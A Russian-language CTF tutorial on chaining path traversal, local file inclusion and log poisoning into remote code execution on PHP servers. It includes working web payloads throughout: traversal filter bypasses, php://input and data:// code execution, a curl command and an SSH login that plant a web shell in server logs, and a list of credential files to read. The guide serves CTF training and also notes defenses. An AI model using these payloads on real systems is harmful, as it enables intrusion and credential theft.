
Задача Web-300, региональный CTF. Параметр ?template=header.html на странице кастомизации темы, нерекурсивный фильтр удаляет ../, PHP 7.4 — null byte бесполезен. Тридцать семь минут от первого запроса до cat /flag.txt через отравление /var/log/auth.log по SSH. Четверо из десяти в нашей команде остановились на чтении /etc/passwd и дальше не пошли — даже не проверили доступность лог-файлов. Вот так: умеют ../, знают про php://filter, а до log poisoning руки не доходят.
Цепочка path traversal → LFI → log poisoning → RCE — одна из самых частых в веб-задачах CTF. Разберём каждый шаг от первого ../ до работающего web shell, включая типичные точки застревания, которые русскоязычные гайды обычно пропускают.
Перед payload'ами — мотивация. И в CTF, и в реальных инцидентах. По данным Verizon DBIR 2025, 26% подтверждённых нарушений связаны с веб-атаками, а IBM X-Force 2025 фиксирует около 6000 свежих учётных данных в dark web ежедневно. Заметная часть утекает именно через чтение конфигов веб-приложений. Подробнее — в нашем материале про создание ctf заданий.
LFI — не «просто прочитать файл». Это первое звено цепочки, которая по MITRE ATT&CK раскладывается так: Exploit Public-Facing Application (T1190, Initial Access) — обнаружение уязвимого параметра. Далее File and Directory Discovery (T1083, Discovery) — маппинг файловой системы через path traversal. Потом Credentials In Files (T1552.001, Credential Access) — вытаскивание паролей из конфигов. И наконец Unix Shell (T1059.004, Execution) — RCE через log poisoning или PHP wrappers.
В CTF мотивация конкретнее: флаг. Но техники идентичны, и понимание полной цепочки отличает решателя от того, кто застрял на первом ../. Корневая причина — CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program): приложение берёт пользовательский ввод и суёт его в include(), require() или аналоги без валидации. Вероятность эксплуатации — High. Категория OWASP — A03:2021 (Injection).
Перед тем как перебирать payload'ы, проверьте условия. Каждая техника работает только при определённой конфигурации:
| Техника | PHP-версия | Ключевая настройка | Доступ к файлам |
|---|---|---|---|
| Базовый path traversal | Любая | Нет валидации пользовательского ввода | /etc/passwd (chmod 644) |
| Null byte injection | < 5.3.4 | Фильтр дописывает расширение | Любые читаемые файлы |
| php://filter (чтение) | Любая | Нет фильтра на php:// |
Файлы в пределах open_basedir |
| php://input (RCE) | Любая | allow_url_include=On |
Не требуется |
| data:// (RCE) | >= 5.2.0 | allow_url_include=On |
Не требуется |
| Log poisoning (RCE) | Любая | Логи доступны www-data | /var/log/apache2/access.log |
| Session poisoning (RCE) | Любая | Контролируемые данные в сессии | /tmp/sess_<PHPSESSID> |
Эта таблица экономит время: PHP 8 — null byte не пробуем. allow_url_include выключен (дефолт с PHP 5.2) — php://input и data:// не сработают, сразу ищем log poisoning.
Первое действие при решении web CTF уязвимости — найти параметр, значение которого сервер тащит в файловую систему. Типичные имена: page, file, path, template, include, doc, lang, module, view. Авторы задач иногда маскируют — section, content, load — но суть одна: значение попадает в файловую операцию.
Нестандартные точки входа, которые часто пропускают:
JSON-тело POST-запроса. Эндпоинт POST /api/export с полем {"filename": "report.csv"}. В современных CTF path traversal в JSON встречается чаще классического query string — авторы ориентируются на реальные паттерны уязвимых приложений.
Cookie. Приложение берёт значение cookie и передаёт в include(). По данным OWASP Path Traversal, подстановка Cookie: TEMPLATE=../../../etc/passwd — рабочий вектор, который часто не проверяют.
HTTP-заголовки. Кастомные заголовки X-Template, X-File-Path в задачах повышенной сложности. Без проксирования трафика через Burp их не увидишь.
Компоненты URL-маршрута. Когда часть пути интерпретируется как имя файла: /static/css/../../etc/passwd. Легко пропустить, если не проксировать трафик.
Если уязвимый параметр неочевиден, fuzzing ускоряет поиск:
ffuf -u "http://target/index.php?FUZZ=../../../etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
Перебор имён параметров из SecLists с фильтрацией ответов нулевого размера. Если какой-то параметр вернул содержимое /etc/passwd — точка входа найдена.
Для fuzzing значений, когда имя уже известно, работает wordlist LFI-Jhaddix из SecLists:
ffuf -u "http://target/index.php?page=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
Сотни вариаций traversal-путей с разным кодированием и глубиной — руками такое перебирать до утра.
Методика в Burp Suite: проксируйте весь трафик, прокликайте каждую функцию приложения. В HTTP History отфильтруйте запросы, где значение параметра содержит расширение (.php, .html, .pdf, .log) или выглядит как путь. Каждый такой параметр — кандидат.
Параметр ?page=about.html найден. Подставляем ../../../etc/passwd. Если в ответе появились строки вида root:x:0:0:root:/root:/bin/bash — path traversal уязвимость подтверждена, переходим к чтению файлов.
Три уровня ../ не сработали — увеличиваем: ../../../../etc/passwd, ../../../../../etc/passwd. Типичная глубина от webroot до корня — 3–7 уровней. Стандартные webroot-пути: /var/www/html/, /var/www/app/, /srv/http/, /opt/app/public/. На каждый уровень вложенности — один ../.
Уязвимый PHP-код в простейшем случае:
<?php
$file = $_GET['page'];
include($file); // CWE-98: ввод напрямую в include без валидации
?>
Тут важно понимать отличие LFI от простого чтения файла (file retrieval), которое по данным dr34mhacks часто путают: include() исполняет PHP-файл, file_get_contents() читает его как текст. Подключаете config.php через LFI — видите результат работы скрипта, а не исходный код. Подключаете лог-файл с PHP-кодом внутри — этот код исполняется. Именно поэтому log poisoning вообще возможен.
После подтверждения уязвимости — файлы по приоритету. Это фазы T1552.001 (Credentials In Files) и T1005 (Data from Local System) по MITRE ATT&CK:
/etc/passwd — список пользователей, подтверждение LFI (T1003.008)/proc/self/environ — переменные окружения, часто содержат секреты.env, config.php, wp-config.php, settings.py — креды от БД, API-ключи/home/<user>/.ssh/id_rsa — SSH-ключи для lateral movement/var/log/apache2/access.log — лог Apache, нужен для log poisoning/var/log/auth.log — лог SSH, альтернативный вектор poisoning/proc/self/cmdline — аргументы процесса, иногда содержат пароли в CLI-флагах/tmp/sess_<PHPSESSID> — файлы сессий PHPВ CTF-задачах флаг лежит в /flag.txt, /home/ctf/flag, /var/flag или в исходном коде приложения. На задачах 100–200 баллов часто хватает прямого чтения файла. На 300+ — нужна полная цепочка до RCE.
Большинство web CTF уязвимостей средней сложности ставят фильтры. Каждый тип — своя техника обхода.
Нерекурсивное удаление ../. Сервер убирает ../ из строки, но делает это один раз. Решение — вложенные последовательности: ....//....//....//etc/passwd. Приложение удалит внутренний ../, из ....// получится ../, и traversal отработает. Аналогично работает ....\/ на серверах, принимающих обратный слеш. Как распознать: ../../../etc/passwd возвращает пустоту или стандартную страницу (не 403) — строка фильтруется, а не блокируется.
URL-кодирование. WAF или фильтр блокирует ../? Пробуйте %2e%2e%2f. Если запрос проходит через несколько слоёв декодирования (прокси, веб-сервер, приложение), работает двойное кодирование: %252e%252e%252f. Первый слой декодирует %25 в %, второй — %2e в . и %2f в /. Варианты для перебора: ..%2f (только слеш), %2e%2e/ (только точки), %2e%2e%2f (полная кодировка).
Абсолютный путь. Иногда фильтр проверяет только наличие ../, но пропускает абсолютные пути. Попробуйте ?file=/etc/passwd — без traversal-последовательностей. На нескольких CTF видел, как участники полчаса ковыряли кодирование, а простой абсолютный путь проходил с первого раза. Обидно.
Обязательный префикс. Фильтр ожидает, что путь начинается с /var/www/images? Добавьте префикс и продолжите traversal: ?file=/var/www/images/../../../etc/passwd. Проверка начала пройдёт, а файловая система спокойно разрешит ../.
Фильтр проверяет расширение и дописывает .php? На PHP < 5.3.4 работал null byte: ../../../etc/passwd%00.png. Символ %00 обрезал строку, PHP открывал /etc/passwd, проигнорировав .png.
Null byte injection не работает на PHP 5.3.4+ (2010 год). В нашей задаче Web-300 (PHP 7.4) этот вектор мёртв — как и на любом современном CTF. Упоминаю только для полноты справочника. Если на задаче PHP 7+ — сразу переходите к string truncation, PHP wrappers или log poisoning. Версию PHP проверяйте через заголовок X-Powered-By в ответе сервера или через phpinfo().
String truncation — альтернатива null byte для новых версий. PHP по умолчанию ограничивает длину пути (4096 символов). Можно превысить лимит, добавляя /./ в конце: ../../../etc/passwd/./././././././... (повторять до превышения). Дописанное .php отбросится при усечении. Техника капризная и зависит от конфигурации, но в CTF иногда это единственный вариант.
PHP wrappers — главный козырь при эксплуатации LFI в CTF-задачах на PHP. Wrapper php://filter решает проблему исполнения: вместо того чтобы выполнить PHP-файл, он читает его как данные и кодирует.
Запрос ?page=php://filter/convert.base64-encode/resource=config.php заставляет PHP прочитать файл, закодировать в Base64 и отдать как текст — без исполнения. Декодируете: echo "PD9waH..." | base64 -d — и читаете исходники.
Этот вектор покрывает основную массу CTF-задач начального и среднего уровня. В исходниках могут лежать: захардкоженные пароли, SQL-запросы с кредами, JWT-секреты, сам флаг в комментарии. По OWASP, файловые включения относятся к A03:2021 (Injection), а конфигурация, разрешающая PHP wrappers, — к A05:2021 (Security Misconfiguration).
Если в php.ini включена директива allow_url_include=On (по данным Invicti — одна из типичных ошибок конфигурации), доступны два wrapper'а для прямого RCE:
php://input — содержимое берётся из тела POST-запроса. Запрос POST /index.php?page=php://input с телом <?php system('cat /flag.txt'); ?> исполнит команду на сервере. Никакого файла создавать не нужно, PHP-код передаётся напрямую.
data:// — содержимое прямо в URL: ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcudHh0Jyk7ID8%2b. Base64 кодирует <?php system('cat /flag.txt'); ?>, PHP его исполняет.
Оба дают RCE без записи на диск. Но allow_url_include выключен по умолчанию с PHP 5.2, поэтому в задачах средней сложности этот путь обычно закрыт. На задачах начального уровня — проверяйте, авторы иногда оставляют дефолтную конфигурацию.
Когда PHP wrappers для RCE заблокированы (а это большинство задач уровня 300+), остаётся log poisoning — атакующий внедряет PHP-код в серверный лог, а затем подключает этот лог через LFI. По данным репозитория LFI-RCE-log-poisoning на GitHub, атака возможна при одновременном выполнении пяти условий: приложение уязвимо к LFI; лог-файлы доступны для чтения через LFI; приложение использует PHP; лог содержит пользовательский ввод; включённый файл обрабатывается интерпретатором.
Шаг 1. Подтвердите доступность лога. Попробуйте ?page=../../../var/log/apache2/access.log. Видите строки логов в ответе — вектор открыт. Типичные пути: /var/log/apache2/access.log, /var/log/httpd/access_log, /var/log/nginx/access.log.
Шаг 2. Внедрите PHP-код через User-Agent. Apache пишет User-Agent каждого запроса в access.log:
curl -s -A '<?php system($_GET["cmd"]); ?>' "http://target/index.php"
После этого запроса в access.log появится строка с PHP-кодом вместо обычного User-Agent.
Шаг 3. Подключите отравленный лог через LFI с параметром команды: ?page=../../../var/log/apache2/access.log&cmd=cat+/flag.txt. PHP-интерпретатор обработает включённый файл, встретит тег <?php, выполнит system('cat /flag.txt') и вернёт флаг.
Нюанс: payload <?php system($_GET['cmd']); ?> — это web shell с произвольным выполнением команд. Более безопасный одноразовый вариант — <?php system('cat /flag.txt'); ?> без параметра cmd. В CTF первый удобнее: не нужно перезаписывать лог при каждой новой команде.
Apache-лог — не единственный путь. Когда он недоступен (права, Docker, отсутствие Apache), есть альтернативы.
SSH auth.log. SSH записывает попытки аутентификации в /var/log/auth.log, включая имя пользователя. Подключение ssh '<?php system($_GET["cmd"]); ?>'@target помещает PHP-код в лог. Далее подключаем /var/log/auth.log через LFI. Этот вектор работает даже когда веб-сервер — Nginx, у которого лог-формат может не содержать User-Agent. Условия: SSH-порт (22) доступен; система использует rsyslog (или аналог), пишущий в плоский файл /var/log/auth.log. Если дистрибутив использует только systemd-journald без rsyslog — файл может отсутствовать. Проверьте наличие на Шаге 1 (?page=../../../var/log/auth.log) перед попыткой отравления.
Session files. PHP хранит данные сессий в /tmp/sess_<PHPSESSID>. Если удаётся записать PHP-код в сессию через контролируемое поле (например, имя пользователя при регистрации), а затем включить файл сессии через LFI — это RCE. Имя файла предсказуемо: значение cookie PHPSESSID = суффикс имени файла.
/proc/self/environ. На некоторых конфигурациях переменные окружения текущего процесса доступны через /proc/self/environ и содержат HTTP-заголовки (включая User-Agent). Отравление User-Agent + включение /proc/self/environ — ещё один вектор. Работает редко: в современных ядрах Linux доступ ограничен.
Mail logs. На серверах с sendmail/postfix файл /var/log/mail.log содержит контролируемый ввод. Отправка письма с PHP-кодом в теме, затем подключение лога. Вектор экзотический, но на CTF встречается.
Разбор типичных застреваний — то, чего не хватает в русскоязычных материалах по LFI. Сколько раз видел, как участник CTF бросает задачу через 20 минут со словами «не работает», а проблема в одном из этих пунктов.
Права доступа к файлу. Веб-сервер работает от www-data (Apache) или nginx. Если у этого пользователя нет прав на чтение — LFI вернёт пустоту. /etc/passwd доступен всем (chmod 644), а вот /etc/shadow — только root. Лог /var/log/apache2/access.log доступен группе adm, в которую www-data входит не всегда.
open_basedir. Директива PHP ограничивает доступ определённым деревом каталогов. Если open_basedir = /var/www/html, попытка включить /etc/passwd вернёт warning. Проверить можно через php://filter/convert.base64-encode/resource=/etc/passwd — если ошибка open_basedir restriction, ищите файлы внутри разрешённого дерева.
Docker-контейнеры. В контейнерных средах (а CTF-задачи часто крутятся в Docker) логи могут не писаться на диск. Docker перенаправляет stdout/stderr в JSON-файлы на хосте, а внутри контейнера /var/log/apache2/access.log может быть симлинком на /dev/stdout. Log poisoning в таком случае невозможен — лога как файла внутри контейнера нет. Это самая частая причина неработающего log poisoning на CTF. Запомните.
Кодировка payload'а. Log poisoning не срабатывает — убедитесь, что PHP-тег записался в лог целиком. Некоторые конфигурации Apache экранируют спецсимволы. Проверьте содержимое лога через LFI до инъекции: если видите \x3c?php вместо <?php — экранирование активно, и этот вектор закрыт.
Размер лог-файла. На серверах с активным трафиком access.log может весить сотни мегабайт. PHP загружает весь файл через include() — и падает по memory_limit. Ответ 500 при включении лога — возможно, именно это.
PHP-версия и wrappers. Null byte не работает на PHP 5.3.4+. allow_url_include выключен с PHP 5.2+. Проверяйте версию через X-Powered-By, через /proc/version, через чтение конфига /etc/php/<ver>/apache2/php.ini тем же LFI.
Ирония log poisoning в том, что по классификации OWASP A09:2021 (Security Logging and Monitoring Failures) логирование — защитный механизм. Но именно логи становятся вектором атаки, если к ним есть доступ на чтение через LFI. Механизм, который должен помогать обнаруживать атаки, сам превращается в оружие. С точки зрения защиты MITRE D3FEND рекомендует: Local File Permissions (D3-LFP) для ограничения доступа к логам, Inbound Traffic Filtering (D3-ITF) для блокировки traversal-паттернов, File Analysis (D3-FA) для детекции подозрительных обращений к файлам.
Формула на бумаге понятна, но LFI по-настоящему ощущается только когда сам прогоняешь цепочку на живом стенде. Готовая среда для этого есть на HackerLab.pro — российская CTF-платформа с категорией Web, где можно отрабатывать именно такие цепочки без необходимости поднимать собственный Docker.
Каждый раз, когда разбираю с кем-то задачу на LFI, вижу одну и ту же картину: люди знают про ../ и php://filter, но считают log poisoning чем-то сложным и редким. На практике это самый рабочий вектор LFI-to-RCE в задачах, где wrappers для прямого исполнения заблокированы. Проблема не в сложности техники, а в отсутствии системного подхода к отладке: не проверяют права на лог, не смотрят, пишется ли он в Docker, не тестируют кодирование payload'а. Тратят время на null byte в PHP 8 вместо того, чтобы проверить три альтернативных лог-файла.
Если вы дочитали до этого места — вы уже знаете больше, чем половина участников типичного CTF. Осталось набить руку на реальных задачах. На WAPT эту цепочку проходят в лабах — от path traversal до RCE, с ментором при затыке.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...